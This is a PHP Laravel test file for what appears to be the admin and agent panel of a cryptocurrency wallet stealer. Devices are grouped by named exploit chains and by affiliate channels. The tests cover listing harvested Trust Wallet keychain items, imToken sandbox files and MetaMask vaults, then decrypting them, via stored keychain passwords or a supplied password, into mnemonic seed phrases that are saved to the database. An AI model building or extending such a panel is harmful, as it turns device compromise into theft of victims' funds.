515 lines
20 KiB
PHP
515 lines
20 KiB
PHP
<?php
|
|
|
|
namespace Tests\Feature;
|
|
|
|
use App\Models\Admin;
|
|
use App\Models\Channel;
|
|
use App\Models\Device;
|
|
use App\Models\User;
|
|
use App\Models\WalletKeystore;
|
|
use App\Models\WalletMnemonic;
|
|
use App\Services\EthKeystore;
|
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
|
use Illuminate\Support\Facades\Http;
|
|
use PHPUnit\Framework\Attributes\Test;
|
|
use Tests\TestCase;
|
|
|
|
class KeystoreAdminTest extends TestCase
|
|
{
|
|
use RefreshDatabase;
|
|
|
|
#[Test]
|
|
public function admin_lists_keystores_and_items(): void
|
|
{
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$device = Device::query()->create([
|
|
'device_id' => 'DEVKEYSTORE01',
|
|
'channel_id' => 'ch-ks-1',
|
|
]);
|
|
$row = WalletKeystore::query()->create([
|
|
'device_id' => $device->id,
|
|
'source' => 'Trust Wallet',
|
|
'decrypted' => 1,
|
|
'raw_json' => [
|
|
'kind' => 'keychain.wallets',
|
|
'wallets' => [
|
|
'trustwallet' => [
|
|
'count' => 1,
|
|
'items' => [[
|
|
'account' => 'trust.account',
|
|
'service' => null,
|
|
'accessGroup' => '9873B38DWV.com.sixdays.trust',
|
|
'protectionClass' => 9,
|
|
'dataHex' => bin2hex('777350'),
|
|
]],
|
|
],
|
|
],
|
|
],
|
|
]);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->get(route('admin.home'))
|
|
->assertOk()
|
|
->assertSee('钥匙串');
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->get(route('admin.keystores.index'))
|
|
->assertOk()
|
|
->assertSee('钥匙串');
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.keystores.data'))
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->assertJsonPath('count', 1)
|
|
->assertJsonPath('data.0.source', 'Trust Wallet')
|
|
->assertJsonPath('data.0.decrypted', 1)
|
|
->assertJsonPath('data.0.kind', '钥匙串')
|
|
->assertJsonPath('data.0.device_key', 'DEVKEYSTORE01')
|
|
->assertJsonPath('data.0.chain', Device::CHAIN_CORUNA);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.keystores.items', $row))
|
|
->assertOk()
|
|
->assertJsonPath('data.items.0.account', 'trust.account')
|
|
->assertJsonPath('data.items.0.data_preview', '777350');
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.keystores.detail', $row))
|
|
->assertOk()
|
|
->assertJsonPath('data.id', $row->id)
|
|
->assertJsonPath('data.source', 'Trust Wallet')
|
|
->assertJsonPath('data.decrypted', 1)
|
|
->assertJsonPath('data.detail.kind', 'keychain.wallets')
|
|
->assertJsonPath('data.detail.wallets.trustwallet.count', 1)
|
|
// Sensitive dataHex must be masked.
|
|
->assertJsonPath('data.detail.wallets.trustwallet.items.0.dataHex', '***MASKED***(12 hex chars)')
|
|
->assertJsonPath('data.detail.wallets.trustwallet.items.0._dataDecoded', '777350');
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->get(route('admin.devices.show', [$device, 'tab' => 'keystores']))
|
|
->assertOk()
|
|
->assertSee('钥匙串');
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))
|
|
->assertOk()
|
|
->assertJsonPath('data.0.source', 'Trust Wallet');
|
|
}
|
|
|
|
#[Test]
|
|
public function agent_only_sees_own_channel_keystores(): void
|
|
{
|
|
$agentA = User::query()->create(['username' => 'ks-a', 'password' => 'secret12', 'status' => 1]);
|
|
$agentB = User::query()->create(['username' => 'ks-b', 'password' => 'secret12', 'status' => 1]);
|
|
$chA = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
|
$chB = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
|
|
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]);
|
|
Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]);
|
|
|
|
$devA = Device::query()->create(['device_id' => 'dev-ks-a', 'channel_id' => $chA]);
|
|
$devB = Device::query()->create(['device_id' => 'dev-ks-b', 'channel_id' => $chB]);
|
|
$rowA = WalletKeystore::query()->create([
|
|
'device_id' => $devA->id,
|
|
'source' => 'imToken',
|
|
'decrypted' => 0,
|
|
'raw_json' => ['kind' => 'sandbox', 'sandbox' => ['imtoken' => ['walletsV2.json' => base64_encode('{}')]]],
|
|
]);
|
|
$rowB = WalletKeystore::query()->create([
|
|
'device_id' => $devB->id,
|
|
'source' => 'Trust Wallet',
|
|
'decrypted' => 0,
|
|
'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => ['trustwallet' => ['items' => []]]],
|
|
]);
|
|
|
|
$this->actingAs($agentA, 'agent')
|
|
->get(route('user.home'))
|
|
->assertOk()
|
|
->assertSee('钥匙串');
|
|
|
|
$this->actingAs($agentA, 'agent')
|
|
->getJson(route('user.keystores.data'))
|
|
->assertOk()
|
|
->assertJsonPath('count', 1)
|
|
->assertJsonPath('data.0.device_key', 'dev-ks-a');
|
|
|
|
$this->actingAs($agentA, 'agent')
|
|
->getJson(route('user.keystores.items', $rowA))
|
|
->assertOk()
|
|
->assertJsonPath('data.items.0.account', 'walletsV2.json');
|
|
|
|
$this->actingAs($agentA, 'agent')
|
|
->getJson(route('user.keystores.items', $rowB))
|
|
->assertForbidden();
|
|
}
|
|
|
|
#[Test]
|
|
public function admin_decrypt_writes_mnemonic_from_stored_trust_utc(): void
|
|
{
|
|
Http::fake();
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
|
$password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2');
|
|
$this->assertIsString($password);
|
|
$utc = EthKeystore::encrypt($phrase, $password, [
|
|
'n' => 16,
|
|
'r' => 8,
|
|
'p' => 1,
|
|
'dklen' => 32,
|
|
'salt' => str_repeat('ef', 32),
|
|
]);
|
|
$device = Device::query()->create(['device_id' => 'DEVKSDECRYPT01']);
|
|
$keychain = WalletKeystore::query()->create([
|
|
'device_id' => $device->id,
|
|
'source' => 'Trust Wallet',
|
|
'decrypted' => 0,
|
|
'raw_json' => [
|
|
'kind' => 'keychain.wallets',
|
|
'wallets' => [
|
|
'trustwallet' => [
|
|
'items' => [[
|
|
'account' => 'trustwalletUTC--demo',
|
|
'dataHex' => bin2hex($password),
|
|
]],
|
|
],
|
|
],
|
|
],
|
|
]);
|
|
WalletKeystore::query()->create([
|
|
'device_id' => $device->id,
|
|
'source' => 'Trust Wallet',
|
|
'decrypted' => 0,
|
|
'raw_json' => [
|
|
'kind' => 'sandbox',
|
|
'sandbox' => [
|
|
'trust_wallet' => [
|
|
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
|
|
],
|
|
],
|
|
],
|
|
]);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->postJson(route('admin.keystores.decrypt', $keychain))
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->assertJsonPath('data.added', 1)
|
|
->assertJsonPath('data.decrypted', 1);
|
|
|
|
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($mnemonic);
|
|
$this->assertSame($phrase, $mnemonic->mnemonic);
|
|
$this->assertSame('Trust Wallet', $mnemonic->source);
|
|
}
|
|
|
|
#[Test]
|
|
public function agent_cannot_decrypt_other_channel_keystore(): void
|
|
{
|
|
$agentA = User::query()->create(['username' => 'ks-dec-a', 'password' => 'secret12', 'status' => 1]);
|
|
$agentB = User::query()->create(['username' => 'ks-dec-b', 'password' => 'secret12', 'status' => 1]);
|
|
$chA = 'cccccccccccccccccccccccccccccccc';
|
|
$chB = 'dddddddddddddddddddddddddddddddd';
|
|
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]);
|
|
Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]);
|
|
$devB = Device::query()->create(['device_id' => 'dev-ks-dec-b', 'channel_id' => $chB]);
|
|
$rowB = WalletKeystore::query()->create([
|
|
'device_id' => $devB->id,
|
|
'source' => 'Trust Wallet',
|
|
'decrypted' => 0,
|
|
'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => ['trustwallet' => ['items' => []]]],
|
|
]);
|
|
|
|
$this->actingAs($agentA, 'agent')
|
|
->postJson(route('user.keystores.decrypt', $rowB))
|
|
->assertForbidden();
|
|
}
|
|
|
|
#[Test]
|
|
public function decrypt_explains_trust_password_without_utc(): void
|
|
{
|
|
Http::fake();
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$device = Device::query()->create(['device_id' => 'DEVKSDECRYPT02']);
|
|
$keychain = WalletKeystore::query()->create([
|
|
'device_id' => $device->id,
|
|
'source' => 'Trust Wallet',
|
|
'decrypted' => 0,
|
|
'raw_json' => [
|
|
'kind' => 'keychain.wallets',
|
|
'wallets' => [
|
|
'trustwallet' => [
|
|
'items' => [[
|
|
'account' => 'trustwalletwallet-hd-wallet-UTC--2026-08-21T00-03-40--47A2D637-C475-4384-AA0F-9BB81A84893F',
|
|
'dataHex' => str_repeat('ab', 32),
|
|
]],
|
|
],
|
|
],
|
|
],
|
|
]);
|
|
|
|
$resp = $this->actingAs($admin, 'admin')
|
|
->postJson(route('admin.keystores.decrypt', $keychain))
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->assertJsonPath('data.added', 0)
|
|
->assertJsonPath('data.utc', 0)
|
|
->assertJsonPath('msg', '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密');
|
|
$this->assertGreaterThan(0, $resp->json('data.passwords'));
|
|
}
|
|
|
|
#[Test]
|
|
public function admin_filters_keystores_that_need_password(): void
|
|
{
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$device = Device::query()->create([
|
|
'device_id' => 'DEVNEEDSPW01',
|
|
'channel_id' => 'ch-ks-pw',
|
|
]);
|
|
WalletKeystore::query()->create([
|
|
'device_id' => $device->id,
|
|
'source' => 'Trust Wallet',
|
|
'decrypted' => 0,
|
|
'raw_json' => ['kind' => 'sandbox', 'sandbox' => []],
|
|
]);
|
|
WalletKeystore::query()->create([
|
|
'device_id' => $device->id,
|
|
'source' => 'imToken',
|
|
'decrypted' => 0,
|
|
'needs_password' => 1,
|
|
'raw_json' => ['kind' => 'web3.keystore', 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb']],
|
|
]);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.keystores.data'))
|
|
->assertOk()
|
|
->assertJsonPath('count', 2);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.keystores.data', ['needs_password' => '1']))
|
|
->assertOk()
|
|
->assertJsonPath('count', 1)
|
|
->assertJsonPath('data.0.source', 'imToken')
|
|
->assertJsonPath('data.0.needs_password', 1);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores', 'needs_password' => '1']))
|
|
->assertOk()
|
|
->assertJsonPath('count', 1)
|
|
->assertJsonPath('data.0.needs_password', 1);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->get(route('admin.keystores.index'))
|
|
->assertOk()
|
|
->assertSee('需要密码');
|
|
}
|
|
|
|
#[Test]
|
|
public function admin_filters_keystores_by_chain(): void
|
|
{
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$ds = Device::query()->create([
|
|
'device_id' => 'DEVKSCHAINDS',
|
|
'chain' => Device::CHAIN_DARKSWORD,
|
|
]);
|
|
$app = Device::query()->create([
|
|
'device_id' => 'DEVKSCHAINAPP',
|
|
'chain' => Device::CHAIN_APP,
|
|
]);
|
|
WalletKeystore::firstOrCreateForDevice($ds, 'Trust Wallet', ['kind' => 'keychain.wallets', 'wallets' => []]);
|
|
WalletKeystore::firstOrCreateForDevice($app, 'imToken', ['kind' => 'web3.keystore', 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb']]);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->get(route('admin.keystores.index'))
|
|
->assertOk()
|
|
->assertSee('利用链');
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.keystores.data', ['chain' => '2']))
|
|
->assertOk()
|
|
->assertJsonPath('count', 1)
|
|
->assertJsonPath('data.0.device_key', 'DEVKSCHAINDS')
|
|
->assertJsonPath('data.0.chain', Device::CHAIN_DARKSWORD);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.keystores.data', ['chain' => '3']))
|
|
->assertOk()
|
|
->assertJsonPath('count', 1)
|
|
->assertJsonPath('data.0.device_key', 'DEVKSCHAINAPP')
|
|
->assertJsonPath('data.0.chain', Device::CHAIN_APP);
|
|
|
|
$legacy = Device::query()->create([
|
|
'device_id' => 'DEVKSCHAINLEGACY',
|
|
'chain' => Device::CHAIN_APP,
|
|
]);
|
|
WalletKeystore::query()->create([
|
|
'device_id' => $legacy->id,
|
|
'source' => 'Uniswap',
|
|
'decrypted' => 0,
|
|
'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => []],
|
|
]);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.keystores.data', ['chain' => '3']))
|
|
->assertOk()
|
|
->assertJsonPath('count', 2);
|
|
}
|
|
|
|
#[Test]
|
|
public function admin_password_decrypt_writes_mnemonic(): void
|
|
{
|
|
Http::fake();
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
|
$password = 'wallet-pass-1';
|
|
$utc = EthKeystore::encrypt($phrase, $password, [
|
|
'n' => 16,
|
|
'r' => 8,
|
|
'p' => 1,
|
|
'dklen' => 32,
|
|
'salt' => str_repeat('ab', 32),
|
|
]);
|
|
$device = Device::query()->create(['device_id' => 'DEVKSPASS01']);
|
|
$row = WalletKeystore::query()->create([
|
|
'device_id' => $device->id,
|
|
'source' => 'imToken',
|
|
'decrypted' => 0,
|
|
'needs_password' => 1,
|
|
'raw_json' => array_merge($utc, ['kind' => 'web3.keystore']),
|
|
]);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.keystores.data'))
|
|
->assertOk()
|
|
->assertJsonPath('data.0.needs_password', 1)
|
|
->assertJsonPath('data.0.password_decrypt_url', route('admin.keystores.decryptPassword', $row));
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => $password])
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->assertJsonPath('data.added', 1)
|
|
->assertJsonPath('data.decrypted', 1);
|
|
|
|
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($mnemonic);
|
|
$this->assertSame($phrase, $mnemonic->mnemonic);
|
|
$this->assertSame('imToken', $mnemonic->source);
|
|
$this->assertSame(1, (int) $row->fresh()->decrypted);
|
|
}
|
|
|
|
#[Test]
|
|
public function password_decrypt_rejects_wrong_and_empty_password(): void
|
|
{
|
|
Http::fake();
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
|
$utc = EthKeystore::encrypt($phrase, 'correct-pass', [
|
|
'n' => 16,
|
|
'r' => 8,
|
|
'p' => 1,
|
|
'dklen' => 32,
|
|
'salt' => str_repeat('cd', 32),
|
|
]);
|
|
$device = Device::query()->create(['device_id' => 'DEVKSPASS02']);
|
|
$row = WalletKeystore::query()->create([
|
|
'device_id' => $device->id,
|
|
'source' => 'imToken',
|
|
'decrypted' => 0,
|
|
'needs_password' => 1,
|
|
'raw_json' => array_merge($utc, ['kind' => 'web3.keystore']),
|
|
]);
|
|
$plain = WalletKeystore::query()->create([
|
|
'device_id' => $device->id,
|
|
'source' => 'Trust Wallet',
|
|
'decrypted' => 0,
|
|
'raw_json' => ['kind' => 'sandbox', 'sandbox' => []],
|
|
]);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => ''])
|
|
->assertStatus(422)
|
|
->assertJsonPath('code', 1);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => 'wrong-pass'])
|
|
->assertStatus(400)
|
|
->assertJsonPath('code', 1)
|
|
->assertJsonPath('msg', '密码不正确,未能解开助记词');
|
|
|
|
$this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count());
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->postJson(route('admin.keystores.decryptPassword', $plain), ['password' => 'x'])
|
|
->assertStatus(400)
|
|
->assertJsonPath('msg', '该钥匙串未标记为需要密码');
|
|
}
|
|
|
|
#[Test]
|
|
public function admin_password_decrypt_metamask_vault(): void
|
|
{
|
|
Http::fake();
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
|
$password = 'woshini@88';
|
|
$device = Device::query()->create(['device_id' => 'DEVKSPASSMM']);
|
|
$row = WalletKeystore::query()->create([
|
|
'device_id' => $device->id,
|
|
'source' => 'MetaMask',
|
|
'decrypted' => 0,
|
|
'needs_password' => 1,
|
|
'raw_json' => $this->makeMetamaskVault($phrase, $password),
|
|
]);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.keystores.data'))
|
|
->assertOk()
|
|
->assertJsonPath('data.0.needs_password', 1)
|
|
->assertJsonPath('data.0.password_decrypt_url', route('admin.keystores.decryptPassword', $row));
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => $password])
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->assertJsonPath('data.added', 1)
|
|
->assertJsonPath('data.decrypted', 1)
|
|
->assertJsonPath('data.vault', 1);
|
|
|
|
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($mnemonic);
|
|
$this->assertSame($phrase, $mnemonic->mnemonic);
|
|
$this->assertSame('MetaMask', $mnemonic->source);
|
|
$this->assertSame(1, (int) $row->fresh()->decrypted);
|
|
}
|
|
|
|
/**
|
|
* @return array<string, mixed>
|
|
*/
|
|
private function makeMetamaskVault(string $phrase, string $password): array
|
|
{
|
|
$inner = json_encode([[
|
|
'type' => 'HD Key Tree',
|
|
'data' => [
|
|
'mnemonic' => array_map('ord', str_split($phrase)),
|
|
'numberOfAccounts' => 1,
|
|
'hdPath' => "m/44'/60'/0'/0",
|
|
],
|
|
]], JSON_UNESCAPED_SLASHES);
|
|
$saltB64 = base64_encode(random_bytes(32));
|
|
$iv = random_bytes(16);
|
|
$key = hash_pbkdf2('sha512', $password, $saltB64, 5000, 32, true);
|
|
$cipher = openssl_encrypt((string) $inner, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
|
|
|
|
return [
|
|
'kind' => 'metamask.vault',
|
|
'cipher' => base64_encode((string) $cipher),
|
|
'iv' => bin2hex($iv),
|
|
'salt' => $saltB64,
|
|
'lib' => 'quick-crypto',
|
|
'keyMetadata' => [
|
|
'algorithm' => 'PBKDF2',
|
|
'params' => ['iterations' => 5000],
|
|
],
|
|
];
|
|
}
|
|
}
|